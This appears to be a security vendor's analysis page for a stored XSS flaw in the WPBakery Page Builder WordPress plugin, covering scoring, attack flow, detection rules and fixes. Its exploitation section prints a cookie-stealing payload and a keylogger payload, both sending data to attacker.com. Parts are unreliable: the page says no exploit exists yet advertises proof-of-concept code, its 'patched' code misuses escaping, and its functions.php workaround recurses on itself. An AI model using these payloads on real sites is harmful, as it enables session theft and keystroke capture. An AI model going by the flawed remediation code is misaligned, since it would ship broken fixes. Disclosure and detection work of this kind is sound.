CVE-2025-11160
Executive Summary
CVE-2025-11160 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPBakery Page Builder plugin for WordPress, affecting all versions up to and including 8.6.1. The flaw resides in the Custom JS module, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary JavaScript code. This code executes whenever a user accesses a page containing the malicious payload, provided the attacker has access to the WPBakery editor for the target post type. The vulnerability is classified as a WordPress ecosystem issue and does not implicate the underlying web server (Apache/Nginx). No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WPBakery Page Builder plugin, a commercial WordPress plugin distributed via the Envato Market and directly from WPBakery. The plugin is not available on NPM, PyPI, Go, or Ruby registries. The risk is primarily to WordPress site administrators who have installed the plugin and granted contributor-level or higher roles to users. The lack of a patch increases the supply chain risk, as site operators must rely on custom mitigations or restrict user permissions.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – The attacker needs contributor-level access or higher.
- User Interaction (UI): None – The victim does not need to perform any action beyond viewing the page.
- Scope (S): Changed – The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): Low – Limited information disclosure is possible.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on availability.
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for stored XSS in a widely-used plugin makes it a significant risk for WordPress sites with multiple users.
Deep Dive & Mechanics
The vulnerability exists in the WPBakery Page Builder's Custom JS module, which allows users with editor access to inject custom JavaScript into pages. The plugin fails to properly sanitize and escape user-supplied JavaScript code before storing it in the database and rendering it on the frontend. This allows an authenticated attacker with contributor-level or higher privileges to inject malicious scripts that execute in the context of any user viewing the affected page.
Attack Flow:
- An attacker with contributor-level access logs into the WordPress admin panel.
- The attacker creates or edits a post/page using the WPBakery Page Builder.
- The attacker navigates to the Custom JS module (typically found in the WPBakery settings or page options).
- The attacker injects a malicious JavaScript payload, such as
<script>alert('XSS')</script>or a more sophisticated payload to steal cookies or perform actions on behalf of the victim. - The plugin stores the payload without proper sanitization.
- When any user (including administrators) views the page, the malicious script executes in their browser.
Root Cause: The vc_js or similar custom JS field is not properly sanitized using functions like wp_kses or esc_js, and the output is not escaped using esc_attr or esc_html before rendering.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.
Vulnerable Code (WPBakery <= 8.6.1):
// In a file like js_composer/include/classes/core/class-vc-base.php or similar
function vc_render_custom_js() {
$custom_js = get_post_meta(get_the_ID(), '_wpb_post_custom_js', true);
// No sanitization or escaping
echo '<script>' . $custom_js . '</script>';
}
Patched Code (Hypothetical):
function vc_render_custom_js() {
$custom_js = get_post_meta(get_the_ID(), '_wpb_post_custom_js', true);
// Sanitize and escape
$sanitized_js = wp_kses($custom_js, array());
echo '<script>' . esc_js($sanitized_js) . '</script>';
}
Key Differences:
- Sanitization: The patched version uses
wp_ksesto strip any HTML tags, leaving only safe text. - Escaping: The patched version uses
esc_jsto escape the JavaScript string, preventing injection of additional script tags or malicious code.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with WPBakery Page Builder <= 8.6.1 installed and activated.
- An authenticated user account with contributor-level or higher privileges.
Exploitation Steps:
- Log in to the WordPress admin panel with the attacker account.
- Create a new post or edit an existing one.
- In the WPBakery editor, locate the Custom JS module (often under the "WPBakery Page Builder" tab in the post editor or via a dedicated meta box).
- Inject a payload such as:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Save the post.
- When an administrator or other user views the post, the script executes, sending their cookies to the attacker's server.
Alternative Payload (Keylogger):
<script>
document.onkeypress = function(e) {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://attacker.com/log.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('key=' + e.key);
};
</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual JavaScript code in post meta fields, specifically
_wpb_post_custom_js. - Look for posts created or edited by users with contributor-level access that contain script tags in custom fields.
- Use web application firewalls (WAF) to block common XSS payloads in POST requests to WordPress admin endpoints.
Hardening:
- Restrict contributor-level users from using the WPBakery editor by modifying user roles or using a plugin like "User Role Editor".
- Implement a Content Security Policy (CSP) that blocks inline scripts:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'nonce-<random>'; - Use a WordPress security plugin (e.g., Wordfence) to add virtual patching for XSS.
Indicators of Compromise (IOCs)
File Indicators:
- Presence of malicious JavaScript in the
_wpb_post_custom_jspost meta field. - Modified or new posts containing script tags in the WPBakery custom JS field.
- Presence of malicious JavaScript in the
Network Indicators:
- Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- Suspicious POST requests to
/wp-admin/admin-ajax.phpor similar endpoints with JavaScript payloads.
Log Indicators:
- WordPress audit logs showing creation or editing of posts by contributor-level users with unusual custom field values.
- Web server logs showing requests to pages with injected scripts.
Detection Engineering
YARA Rule
rule Detect_WPBakery_Custom_JS_XSS {
meta:
description = "Detects stored XSS payloads in WPBakery Page Builder custom JS fields"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-11160"
strings:
$meta_key = "_wpb_post_custom_js"
$xss_payload_1 = /<script[^>]*>.*<\/script>/i
$xss_payload_2 = /on\w+\s*=\s*["']?[^"']*["']?/i
condition:
$meta_key and ($xss_payload_1 or $xss_payload_2)
}
Sigma Rule
title: WPBakery Custom JS Stored XSS
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts via WPBakery Page Builder Custom JS module
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-11160
logsource:
product: wordpress
service: audit
detection:
selection:
EventID: 1000 # Custom event for post meta update
MetaKey: "_wpb_post_custom_js"
MetaValue|contains:
- "<script"
- "onload="
- "onerror="
condition: selection
falsepositives:
- Legitimate use of JavaScript in custom JS field by administrators
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-11160 WPBakery Stored XSS Payload"; flow:to_server,established; content:"_wpb_post_custom_js"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Custom JS module for all user roles except administrators. This can be done via a custom plugin or by modifying the WPBakery settings if available.
- Restrict user roles – Remove contributor-level access from untrusted users. Only grant editor or administrator roles to trusted personnel.
- Implement a Web Application Firewall (WAF) rule to block common XSS patterns in POST requests to WordPress admin endpoints.
Long-term Fix:
- Monitor the WPBakery vendor for an official patch. Once released, update the plugin to the patched version immediately.
- If no patch is forthcoming, consider replacing the WPBakery Page Builder with an alternative page builder that has a better security track record.
Workaround Code (for developers):
Add the following to your theme's functions.php to sanitize the custom JS field:
add_filter('update_post_metadata', function($check, $object_id, $meta_key, $meta_value) {
if ($meta_key === '_wpb_post_custom_js') {
$meta_value = wp_kses($meta_value, array());
update_post_meta($object_id, $meta_key, $meta_value);
return true;
}
return $check;
}, 10, 4);
Valters IT
Securing WordPress Ecosystems
CVE-2025-11160 Analysis
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.